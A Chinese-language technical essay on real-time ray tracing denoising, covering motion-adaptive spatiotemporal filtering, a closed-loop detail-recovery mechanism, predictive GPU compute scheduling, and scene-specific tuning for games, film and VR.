时空域协同降噪的深度优化,核心在于打破单域处理的局限性,构建“时空织合降噪”机制,通过精准的帧间信息融合分离细节与噪点,同时彻底解决动态场景中的拖影难题。早期我们曾尝试简单叠加空间域与时间域降噪算法,结果发现静态场景中虽能实现较好的细节保留与噪点压制,但在动态场景中暴露出严重缺陷:当玩家快速移动镜头或物体高速运动时,帧间数据的过度融合会导致物体边缘出现明显拖影,尤其是在战斗场景中,技能特效的拖影会严重影响视觉判断;而若单纯降低时间域融合权重,噪点压制效果会急剧下滑,画面颗粒感明显回升。为破解这一矛盾,我们摒弃了“固定融合比例”的传统思路,转而构建基于场景动态特征的自适应协作模式。首先引入“运动向量精准校准”技术,通过毫秒级的帧间对比,追踪每一个像素点的运动轨迹,建立动态区域与静态区域的精准划分——对于静态区域(如建筑、地形等不移动的元素),采用“高时间域融合+低空间域降噪”策略,通过多帧信息积累充分压制噪点,同时最大限度保留细节;对于动态区域(如角色、怪物、技能特效等移动元素),则采用“低时间域融合+高空间域降噪”策略,减少帧间数据干扰以避免拖影,同时通过空间域的精细化算法快速压制噪点。更关键的是,我们在时空域数据融合过程中加入了“细节锚定因子”,该因子与细节特征图谱实时联动,对高优先级细节区域进行特殊标记,确保融合过程中这些区域的像素信息不被过度平滑。例如,当一把带有复杂花纹的剑快速挥舞时,算法会通过运动向量校准识别剑身为动态区域,降低时间域融合权重避免拖影,同时通过细节锚定因子锁定剑身的花纹细节,在空间域降噪过程中精准保护花纹的边缘锐度,让剑身在高速运动中依然保持清晰的质感。实践证明,这种动态调整的时空织合机制,使动态场景的噪点压制效率提升了60%,拖影现象的发生率从原来的42%降至6%,成功实现了动态与静态场景下的双重优化目标。

细节增强反馈机制的构建,是避免降噪过程中细节丢失的关键补充,其核心价值在于让降噪算法具备“自我修正”的闭环能力,通过实时校验与动态补偿,确保细节保留与噪点压制的精准平衡。传统降噪算法普遍采用单向处理流程,降噪操作完成后便终止流程,无法感知处理结果是否丢失了关键细节,导致部分高优先级细节在反复降噪迭代中逐渐淡化,最终呈现出“画面干净但缺乏层次感”的问题。为解决这一缺陷,我们在算法中引入了“降噪后细节校验”环节,构建完整的闭环反馈体系。在每一轮降噪处理完成后,系统会自动调用细节特征比对模块,将处理后的画面与原始画面的细节特征图谱进行逐区域对比,重点校验高优先级细节区域的边缘锐度、纹理密度、亮度层次等核心指标。若检测到某区域的细节损失超过预设阈值(如武器花纹的边缘锐度下降超过20%),系统会立即启动细节增强流程:首先从原始画面中精准提取该区域的细节特征数据,然后以降噪后的画面为基底,采用“精准叠加”技术将丢失的细节重新还原——不同于简单的原始数据叠加,这种技术会对提取的细节进行降噪预处理,确保在恢复细节的同时不引入新的噪点,例如在还原木质纹理时,会先过滤掉原始数据中的随机噪点,再将纯净的纹理信息叠加到降噪后的画面中。此外,细节增强反馈机制还具备“场景记忆”学习能力,通过分析海量历史处理数据,自动记录不同材质、不同场景下的细节保留参数,形成个性化处理模板库。当再次遇到同类场景时(如玩家再次观察同类型的金属武器),算法可直接调用最优参数,减少校验与增强的耗时,兼顾处理效率与细节质量。同时,我们为反馈机制设计了“算力动态适配”逻辑,当显卡负载较高时,会自动降低校验频率,优先保障帧率;当显卡负载较低时,则提升校验精度,最大化优化细节表现。通过这套闭环反馈模式,高优先级细节的整体保留率提升了40%,同时画面噪点密度降低了55%,实现了细节与纯净度的双重提升。

动态算力调度的深度落地,需要突破“静态算力分配”的传统局限,构建“场景预判式算力预分配”体系,让算力资源提前适配场景变化,从根源上解决帧率波动问题。实时光追场景中,玩家的视角移动、场景切换、光源变化等行为都会导致降噪算力需求的剧烈波动——例如当玩家从光线昏暗、噪点密集的洞穴突然进入阳光明媚、细节丰富的草原时,画面的亮度、对比度、噪点分布会瞬间发生剧变,若此时算力分配未能及时调整,极易出现帧率从60帧骤降至30帧以下的卡顿现象;而当玩家从高细节场景进入低细节场景时,若算力未能及时回收,又会造成资源浪费。为应对这一挑战,我们构建了“场景特征预判模型”,通过实时分析画面的多维度参数(如光源数量、亮度等级、纹理复杂度、运动强度、场景切换频率等),结合历史行为数据,精准预判未来10秒内的算力需求变化趋势。例如,当检测到玩家视角持续朝向光源密集的区域移动,且画面亮度正在逐步提升时,模型会预判接下来的画面噪点会显著增加,同时高细节元素会增多,随即提前从算力缓冲池中调取20%的额外资源,分配给降噪算法的细节处理模块;当检测到玩家进入大面积纯色、低纹理的场景(如雪地、沙漠)时,则自动回收30%的算力资源,将其分配给帧率优化模块。同时,我们引入了“算力动态均衡”策略,将降噪算法的算力消耗与显卡的整体负载进行实时联动:当显卡负载超过85%时,自动降低低优先级区域的降噪精度,优先保障帧率稳定;当显卡负载低于60%时,则提升高优先级区域的降噪精度,最大化优化视觉质感。此外,模型还具备“突发场景自适应”能力,当遇到未预判到的场景剧变(如突然触发大规模光影特效)时,会启动紧急算力调度机制,在2毫秒内完成资源重分配,确保帧率波动不超过5%。实践证明,采用这套预判式与动态均衡相结合的算力调度模式后,帧率稳定性提升了80%,即使在场景剧烈变化的极端情况下,帧率波动也能控制在3帧以内,彻底解决了算力需求波动导致的帧率不稳定问题。

实时光追降噪技术的终极追求,是实现“无感知降噪”——让降噪过程彻底隐形于视觉体验之中,既彻底压制噪点,又完整保留所有关键细节,同时维持稳定流畅的帧率,这一目标的实现离不开技术与场景的深度融合,而非单纯的算法堆叠。不同类型的虚拟场景,对降噪技术的需求存在显著差异:游戏场景需要在动态流畅与细节质感之间找到平衡,影视渲染场景更注重细节还原与画面纯净度,虚拟现实(VR)场景则对帧率稳定性有着极致要求,单一模式的降噪算法无法满足所有场景的需求。因此,我们的技术设计核心在于构建“场景自适应引擎”,让算法具备根据场景类型动态调整处理策略的能力。在游戏场景的优化中,我们针对不同玩法场景定制了专属处理模板:战斗场景中,自动提升帧率优先级,降低非关键区域的降噪精度,确保技能释放、角色移动的流畅性,同时通过细节锚定技术保护武器轮廓、技能特效边缘等关键元素;解谜场景中,则提升细节优先级,采用精细化处理算法,确保每一个线索的纹理、每一处铭文的细节都清晰可辨,帮助玩家获取关键信息。针对影视渲染场景,我们优化了细节增强反馈机制,延长帧间融合时间至10帧,让画面更纯净,同时强化光影层次的保留,确保金属反光的渐变、织物阴影的过渡都自然细腻。针对VR场景,我们将帧率稳定作为核心目标,通过强化动态算力调度,确保帧率始终稳定在90帧以上,同时优化运动向量校准算法,减少快速转头时的拖影与模糊,避免用户产生眩晕感。此外,技术落地还必须兼顾硬件适配的多样性,不同性能的显卡对算力的承载能力差异巨大,高端显卡可支撑全精度处理,而入门级显卡则需要在效果与性能之间妥协。